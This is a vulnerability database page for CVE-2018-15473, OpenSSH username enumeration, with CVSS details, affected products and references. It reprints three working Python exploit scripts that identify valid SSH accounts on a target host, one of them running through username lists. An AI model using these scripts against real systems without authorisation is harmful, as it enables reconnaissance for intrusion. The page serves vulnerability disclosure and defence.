CVE-2018-15473 : Detail

CVE-2018-15473

5.3
/
Medium
3.32%V3
Network
2018-08-16
22h00 +00:00
2022-12-12
23h00 +00:00
CVE.org
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CVE Descriptions

OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45233

Publication date : 2018-08-20
22h00 +00:00
Author : Justin Gardner
EDB Verified : Yes

# Exploit: OpenSSH 7.7 - Username Enumeration # Author: Justin Gardner # Date: 2018-08-20 # Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz # Affected Versions: OpenSSH version < 7.7 # CVE: CVE-2018-15473 ########################################################################### # ____ _____ _____ _ _ # # / __ \ / ____/ ____| | | | # # | | | |_ __ ___ _ __ | (___| (___ | |__| | # # | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | # # | |__| | |_) | __/ | | |____) |___) | | | | # # \____/| .__/ \___|_| |_|_____/_____/|_| |_| # # | | Username Enumeration # # |_| # # # ########################################################################### #!/usr/bin/env python import argparse import logging import paramiko import multiprocessing import socket import sys import json # store function we will overwrite to malform the packet old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] # create custom exception class BadUsername(Exception): def __init__(self): pass # create malicious "add_boolean" function to malform packet def add_boolean(*args, **kwargs): pass # create function to call when username was invalid def call_error(*args, **kwargs): raise BadUsername() # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler def malform_packet(*args, **kwargs): old_add_boolean = paramiko.message.Message.add_boolean paramiko.message.Message.add_boolean = add_boolean result = old_parse_service_accept(*args, **kwargs) #return old add_boolean function so start_client will work again paramiko.message.Message.add_boolean = old_add_boolean return result # create function to perform authentication with malformed packet and desired username def checkUsername(username, tried=0): sock = socket.socket() sock.connect((args.hostname, args.port)) # instantiate transport transport = paramiko.transport.Transport(sock) try: transport.start_client() except paramiko.ssh_exception.SSHException: # server was likely flooded, retry up to 3 times transport.close() if tried < 4: tried += 1 return checkUsername(username, tried) else: print '[-] Failed to negotiate SSH transport' try: transport.auth_publickey(username, paramiko.RSAKey.generate(1024)) except BadUsername: return (username, False) except paramiko.ssh_exception.AuthenticationException: return (username, True) #Successful auth(?) raise Exception("There was an error. Is this the correct version of OpenSSH?") def exportJSON(results): data = {"Valid":[], "Invalid":[]} for result in results: if result[1] and result[0] not in data['Valid']: data['Valid'].append(result[0]) elif not result[1] and result[0] not in data['Invalid']: data['Invalid'].append(result[0]) return json.dumps(data) def exportCSV(results): final = "Username, Valid\n" for result in results: final += result[0]+", "+str(result[1])+"\n" return final def exportList(results): final = "" for result in results: if result[1]: final+=result[0]+" is a valid user!\n" else: final+=result[0]+" is not a valid user!\n" return final # assign functions to respective handlers paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error # get rid of paramiko logging logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) arg_parser = argparse.ArgumentParser() arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address") arg_parser.add_argument('--port', type=int, default=22, help="The target port") arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used") arg_parser.add_argument('--outputFile', type=str, help="The output file location") arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location") group = arg_parser.add_mutually_exclusive_group(required=True) group.add_argument('--username', type=str, help="The single username to validate") group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through") args = arg_parser.parse_args() sock = socket.socket() try: sock.connect((args.hostname, args.port)) sock.close() except socket.error: print '[-] Connecting to host failed. Please check the specified host and port.' sys.exit(1) if args.username: #single username passed in result = checkUsername(args.username) if result[1]: print result[0]+" is a valid user!" else: print result[0]+" is not a valid user!" elif args.userList: #username list passed in try: f = open(args.userList) except IOError: print "[-] File doesn't exist or is unreadable." sys.exit(3) usernames = map(str.strip, f.readlines()) f.close() # map usernames to their respective threads pool = multiprocessing.Pool(args.threads) results = pool.map(checkUsername, usernames) try: outputFile = open(args.outputFile, "w") except IOError: print "[-] Cannot write to outputFile." sys.exit(5) if args.outputFormat=='list': outputFile.writelines(exportList(results)) print "[+] Results successfully written to " + args.outputFile + " in List form." elif args.outputFormat=='json': outputFile.writelines(exportJSON(results)) print "[+] Results successfully written to " + args.outputFile + " in JSON form." elif args.outputFormat=='csv': outputFile.writelines(exportCSV(results)) print "[+] Results successfully written to " + args.outputFile + " in CSV form." else: print "".join(results) outputFile.close() else: # no usernames passed in print "[-] No usernames provided to check" sys.exit(4)
Exploit Database EDB-ID : 45210

Publication date : 2018-08-15
22h00 +00:00
Author : Matthew Daley
EDB Verified : Yes

#!/usr/bin/env python # Copyright (c) 2018 Matthew Daley # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. import argparse import logging import paramiko import socket import sys class InvalidUsername(Exception): pass def add_boolean(*args, **kwargs): pass old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[ paramiko.common.MSG_SERVICE_ACCEPT] def service_accept(*args, **kwargs): paramiko.message.Message.add_boolean = add_boolean return old_service_accept(*args, **kwargs) def userauth_failure(*args, **kwargs): raise InvalidUsername() paramiko.auth_handler.AuthHandler._handler_table.update({ paramiko.common.MSG_SERVICE_ACCEPT: service_accept, paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure }) logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) arg_parser = argparse.ArgumentParser() arg_parser.add_argument('hostname', type=str) arg_parser.add_argument('--port', type=int, default=22) arg_parser.add_argument('username', type=str) args = arg_parser.parse_args() sock = socket.socket() try: sock.connect((args.hostname, args.port)) except socket.error: print '[-] Failed to connect' sys.exit(1) transport = paramiko.transport.Transport(sock) try: transport.start_client() except paramiko.ssh_exception.SSHException: print '[-] Failed to negotiate SSH transport' sys.exit(2) try: transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048)) except InvalidUsername: print '[*] Invalid username' sys.exit(3) except paramiko.ssh_exception.AuthenticationException: print '[+] Valid username'
Exploit Database EDB-ID : 45939

Publication date : 2018-12-03
23h00 +00:00
Author : Leap Security
EDB Verified : No

#!/usr/bin/env python2 # CVE-2018-15473 SSH User Enumeration by Leap Security (@LeapSecurity) https://leapsecurity.io # Credits: Matthew Daley, Justin Gardner, Lee David Painter import argparse, logging, paramiko, socket, sys, os class InvalidUsername(Exception): pass # malicious function to malform packet def add_boolean(*args, **kwargs): pass # function that'll be overwritten to malform the packet old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[ paramiko.common.MSG_SERVICE_ACCEPT] # malicious function to overwrite MSG_SERVICE_ACCEPT handler def service_accept(*args, **kwargs): paramiko.message.Message.add_boolean = add_boolean return old_service_accept(*args, **kwargs) # call when username was invalid def invalid_username(*args, **kwargs): raise InvalidUsername() # assign functions to respective handlers paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username # perform authentication with malicious packet and username def check_user(username): sock = socket.socket() sock.connect((args.target, args.port)) transport = paramiko.transport.Transport(sock) try: transport.start_client() except paramiko.ssh_exception.SSHException: print '[!] Failed to negotiate SSH transport' sys.exit(2) try: transport.auth_publickey(username, paramiko.RSAKey.generate(2048)) except InvalidUsername: print "[-] {} is an invalid username".format(username) sys.exit(3) except paramiko.ssh_exception.AuthenticationException: print "[+] {} is a valid username".format(username) # remove paramiko logging logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)') parser.add_argument('target', help="IP address of the target system") parser.add_argument('-p', '--port', default=22, help="Set port of SSH service") parser.add_argument('username', help="Username to check for validity.") if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() check_user(args.username)

Products Mentioned

Configuraton 0

Openbsd>>Openssh >> Version To (including) 7.7

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Configuraton 0

Netapp>>Cn1610_firmware >> Version -

Netapp>>Cn1610 >> Version -

Configuraton 0

Netapp>>Aff_baseboard_management_controller >> Version -

Netapp>>Cloud_backup >> Version -

Netapp>>Data_ontap_edge >> Version -

Netapp>>Fas_baseboard_management_controller >> Version -

Netapp>>Oncommand_unified_manager >> Version From (including) 9.4

Netapp>>Ontap_select_deploy >> Version -

Netapp>>Service_processor >> Version -

Netapp>>Steelstore_cloud_integrated_storage >> Version -

Netapp>>Virtual_storage_console >> Version From (including) 7.2

Netapp>>Clustered_data_ontap >> Version -

Netapp>>Data_ontap >> Version -

Configuraton 0

Netapp>>Vasa_provider >> Version From (including) 7.2

    Netapp>>Clustered_data_ontap >> Version -

    Configuraton 0

    Netapp>>Storage_replication_adapter >> Version From (including) 7.2

    Netapp>>Clustered_data_ontap >> Version -

    Configuraton 0

    Oracle>>Sun_zfs_storage_appliance_kit >> Version 8.8.6

    Configuraton 0

    Siemens>>Scalance_x204rna_firmware >> Version To (excluding) 3.2.7

    Siemens>>Scalance_x204rna >> Version -

    References

    https://bugs.debian.org/906236
    Tags : Issue Tracking, Mailing List, Patch, Third Party Advisory
    https://usn.ubuntu.com/3809-1/
    Tags : vendor-advisory
    http://www.openwall.com/lists/oss-security/2018/08/15/5
    Tags : Mailing List, Patch, Third Party Advisory